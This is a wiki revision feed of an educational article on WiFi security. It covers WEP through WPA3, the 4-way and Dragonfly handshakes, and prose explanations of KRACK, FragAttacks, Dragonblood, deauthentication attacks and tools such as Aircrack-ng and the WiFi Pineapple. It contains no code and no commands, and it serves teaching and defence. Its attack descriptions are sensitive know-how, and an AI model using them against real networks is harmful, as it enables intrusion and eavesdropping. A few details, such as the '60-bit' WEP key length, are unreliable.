*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16784</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16784"/>
		<updated>2024-12-07T17:11:01Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP &lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot;&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP can not prevent Replay Attacks &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
